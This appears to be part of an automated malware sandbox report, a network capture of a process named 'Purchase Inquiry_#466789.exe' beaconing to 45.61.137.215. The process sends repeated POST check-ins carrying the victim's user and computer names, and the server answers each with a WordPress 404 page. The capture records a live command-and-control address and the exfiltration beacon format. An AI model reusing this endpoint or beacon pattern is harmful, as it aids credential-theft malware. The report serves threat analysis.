May 27, 2024 08:33:17.072299957 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:33:15 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:33:17.072321892 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:33:17.072339058 CEST	448	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:33:17.072349072 CEST	1236	IN	Data Raw: 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 Data Ascii: "DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.support
May 27, 2024 08:33:17.072365999 CEST	1236	IN	Data Raw: 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d Data Ascii: pemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);/* ... */</script><style id='wp-emoji-styles-inline-css' type='text/css'>img.wp-smiley, img.emoji {display: inline !important;border: no
May 27, 2024 08:33:17.072376013 CEST	448	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 3a 20 23 63 66 32 65 32 65 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 3a 20 23 66 66 36 39 30 30 3b 2d 2d 77 Data Ascii: -color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color
May 27, 2024 08:33:17.072510004 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:33:17.072572947 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:33:17.072583914 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:33:17.072725058 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49772	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:33:17.259500027 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:33:17.265038967 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:33:19.423681021 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:33:17 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:33:19.423752069 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:33:19.423805952 CEST	448	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:33:19.423870087 CEST	1236	IN	Data Raw: 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 Data Ascii: "DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.support
May 27, 2024 08:33:19.423918962 CEST	1236	IN	Data Raw: 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d Data Ascii: pemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);/* ... */</script><style id='wp-emoji-styles-inline-css' type='text/css'>img.wp-smiley, img.emoji {display: inline !important;border: no
May 27, 2024 08:33:19.423968077 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 3a 20 23 63 66 32 65 32 65 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 3a 20 23 66 66 36 39 30 30 3b 2d 2d 77 Data Ascii: -color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color
May 27, 2024 08:33:19.424015999 CEST	1236	IN	Data Raw: 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 35 35 2c 32 30 36 2c 32 33 36 29 20 30 25 2c 72 67 62 28 31 35 32 2c 31 35 30 2c 32 34 30 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 Data Ascii: near-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(13
May 27, 2024 08:33:19.424063921 CEST	1236	IN	Data Raw: 65 64 3a 20 36 70 78 20 36 70 78 20 30 70 78 20 2d 33 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 31 29 2c 20 36 70 78 20 36 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 31 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 Data Ascii: ed: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}body .
May 27, 2024 08:33:19.424110889 CEST	1236	IN	Data Raw: 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 63 6f 6c 6f 72 Data Ascii: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-c
May 27, 2024 08:33:19.424144983 CEST	1236	IN	Data Raw: 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d Data Ascii: rtant;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49773	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:33:19.575651884 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:33:19.581087112 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:33:21.748455048 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:33:20 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:33:21.748539925 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:33:21.748595953 CEST	1236	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:33:21.748644114 CEST	1236	IN	Data Raw: 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 Data Ascii: upports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.support
May 27, 2024 08:33:21.748728991 CEST	896	IN	Data Raw: 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e Data Ascii: r:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-i
May 27, 2024 08:33:21.748783112 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:33:21.748833895 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:33:21.748869896 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:33:21.748889923 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo
May 27, 2024 08:33:21.748909950 CEST	224	IN	Data Raw: 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 Data Ascii: minous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49774	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
